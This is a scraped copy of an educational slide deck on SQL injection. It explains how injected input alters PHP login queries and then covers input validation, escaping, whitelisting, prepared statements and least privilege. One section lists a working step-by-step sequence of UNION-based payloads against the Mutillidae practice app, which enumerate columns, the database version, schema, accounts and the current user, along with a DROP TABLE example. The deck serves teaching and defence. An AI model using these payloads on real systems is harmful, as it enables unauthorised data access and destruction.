SQL Injection

Download as pptx, pdf, or txt
Download as pptx, pdf, or txt
You are on page 1of 27
At a glance
Powered by AI
The key takeaways are that SQL injection attacks involve inserting malicious SQL statements into user input to exploit vulnerabilities in web applications. Attackers can use SQL injection to access sensitive data, modify database content, or cause denial of service. Methods to prevent SQL injection include input validation, prepared statements, and stored procedures.

SQL injection attacks involve tricking a web application into executing malicious SQL code by inserting it into user input. Attackers can craft input that causes the application to generate SQL queries that alter the intended behavior. This allows attackers to view sensitive data, modify database content, or cause denial of service.

Methods to prevent SQL injection attacks include input validation to check for malicious characters, using prepared statements with parameterized queries to separate code from user input, and using stored procedures to avoid direct SQL queries.

SQL Injection

Server-side Data

Data stored in a separate


database

Need to protect this data


from tempering
Server-side Data

Typically want ACID transactions


• Atomicity!
– Transactions complete entirely or not at all
• Consistency!
– The database is always in a valid state
• Isolation!
– Results from a transaction aren’t visible until it is complete
• Durability
– Once a transaction is committed, its effects persist despite,
e.g., power failures

Database Management Systems: provide these properties


SQL (Sequential Query
Language)

SELECT Age FROM Users WHERE Name=‘Dee’; 28


UPDATE Users SET email=‘[email protected]’ WHERE Age=32; -- this is
a comment
[email protected]
INSERT INTO Users Values(‘Frank’, ‘M’, 57, ...);
DROP TABLE Users;
Example: Server-side Data

Login code (PHP)

$result = mysql_query(“select * from Users


where(name=‘$user’ and password=‘$pass’);”);
SQL Injection Attack

• Injection attacks trick an application into


including unintended commands in the data
send to an interpreter.
• Interpreters
– Interpret strings as commands.
• Key Idea
– Input data from the application is executed as
code by the interpreter.

• A SQL injection attack involves placing SQL


statements in the user input.
How SQL Injection works?
Attacker
1. App sends form to user. Form

2. Attacker submits form User ‘ or 1=1--


with SQL exploit data. Pass
3. Application builds string
with exploit data.
4. Application sends SQL
Firewall
query to DB.
5. DB executes query,
including exploit, sends
data back to application.
6. Application returns data
to user. DB Server
Web Server
Example: SQL Injection
Attack #1

Correct Query:
$result = mysql_query(“select * from Users
where(name=‘$user’ and password=‘$pass’);”);
Vulnerable Query:
$result = mysql_query(“select * from Users
where(name=‘frank’ OR 1=1); -- and
password=‘whocares’);”);
Example: SQL Injection
Attack #2

Correct Query:
$result = mysql_query(“select * from Users
where(name=‘$user’ and password=‘$pass’);”);

Vulnerable Query:
$result = mysql_query(“select * from Users
where(name=‘frank’ OR 1=1); DROP TABLE Users; -- and
password=‘whocares’);”);

Can chain together statements with semicolon:


STATEMENT 1 ; STATEMENT 2
Impact of SQL Injection

1. Leakage of sensitive information.


2. Reputation decline.
3. Modification of sensitive information.
4. Loss of control of db server.
5. Data loss.
6. Denial of service.
SQL injection attacks
statistics

https://nvd.nist.gov/vuln/
Finding SQL Injection Bugs

• Submit a single quote as input.


– If an error results, app is vulnerable.
– If no error, check for any output changes.
Exploitation with
Mutillidae: Extract User info
1. ‘ or 1=1 –
2. admin' -- //for admin record only
3. admin' UNION SELECT @@version -- //for
database version
4. admin' UNION SELECT NULL -- //to learn the
number of columns, increase no of NULLs till it
returns the number of records rather than error:
admin' UNION SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL --
• admin' UNION SELECT
NULL,@@version,NULL,NULL,NULL,NULL,NUL
L– //try for each one to figure out which one
accepts our string
• admin' UNION SELECT 'Column-1','Column-
2','Column-3','Column-4','Column-5','Column-
6','Column-7' -- //let us put some string in
each NULL
• UNION SELECT
NULL,@@version,NULL,NULL,NULL,NULL,NULL –
• admin' UNION SELECT
NULL,table_name,column_name,NULL,NULL,NULL,NU
LL FROM information_schema.columns –
• admin' UNION SELECT
NULL,table_name,column_name,data_type,NULL,NU
LL,NULL FROM information_schema.columns WHERE
table_name = 'accounts' -- //to learn more about
account table
• ' UNION SELECT
NULL,cid,username,is_admin,NULL,NULL,NUL
L FROM accounts -- //for more details

• admin' UNION SELECT


NULL,current_user(),NULL,NULL,NULL,NULL,N
ULL -- // to see which user the application is
accessing the database
• admin' UNION SELECT
NULL,database(),NULL,NULL,NULL,NULL,NULL
-- // database connected
Prevention: Input Validation
• Since we require input of a certain form, but
we cannot guarantee it has that form, we
must validate it before we trust it
– Just like we do to avoid buffer overflows
• Making input trustworthy!
– Check it has the expected form, and reject it if
not
– Sanitize it by modifying it or using it in such a
way that the result is correctly formed by
construction
Sanitization: Blacklisting
• Delete the characters you don’t want
’ ; --
• Downside: “Peter O’Connor”
– You want these characters sometimes!
– How do you know if/when the characters are
bad?
Sanitization: Escaping

• Replace problematic characters with safe ones!


– change ’ to \’
– change ; to \;
– change - to \-
– change \ to \\
• Hard by hand, but there are many libs & methods
• Downside: Sometimes you want these in your SQL!
– And escaping still may not be enough
Checking: Whitelisting

• Check that the user input is known to be safe!


– E.g., integer within the right range
• Rationale: Given an invalid input, safer to reject
than to fix
– “Fixes” may result in wrong output, or vulnerabilities
– Principle of fail-safe defaults
• Downside: Hard for rich input!
– If Names come from a well-known dictionary?
Sanitization: Prepared
Statements
• Parameterized queries force the developer to first define all
the SQL code, and then pass in each parameter to the query
later.
• This coding style allows the database to distinguish between
code and data
• Prepared statements ensure that an attacker is not able to
change the intent of a query, even if SQL commands are
inserted by an attacker.
• if an attacker were to enter the user name of fazil' or '1'='1,
the parameterized query would not be vulnerable and would
instead look for a username which literally matched the
entire string fazil' or '1'='1.
Use of Prepared Statements
(Parameterized Queries)

• $result = mysql_query(“select * from Users!


where(name=‘$user’ and password=‘$pass’);”);

• $db = new mysql(“localhost”, “user”, “pass”, “DB”);


• $statement = $db->prepare(“select * from Users
where(name=? and password=?);”);

• $statement->bind_param(“ss”, $user, $pass);


• $statement->execute();
Using prepared statements
Example
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// prepare and bind
$stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname, email)
VALUES (?, ?, ?)");
$stmt->bind_param("sss", $firstname, $lastname, $email);
// set parameters and execute
$firstname = "John";
$lastname = "Doe";
$email = "[email protected]";
$stmt->execute();
$firstname = "Mary";
$lastname = "Moe";
$email = "[email protected]";
$stmt->execute();
$firstname = "Julie";
$lastname = "Dooley";
$email = "[email protected]";
$stmt->execute();
echo "New records created successfully";
$stmt->close();
$conn->close();
?>
Summary

• Encrypt sensitive data.


• Access the database using an account with the least
privileges necessary.
• Install the database using an account with the least
privileges necessary.
• Ensure that data is valid.
• Do a code review to check for the possibility of second-
order attacks.
• Use parameterised queries.
• Use stored procedures.
• Re-validate data in stored procedures.
• Ensure that error messages give nothing away about the
internal architecture of the application or the database.

You might also like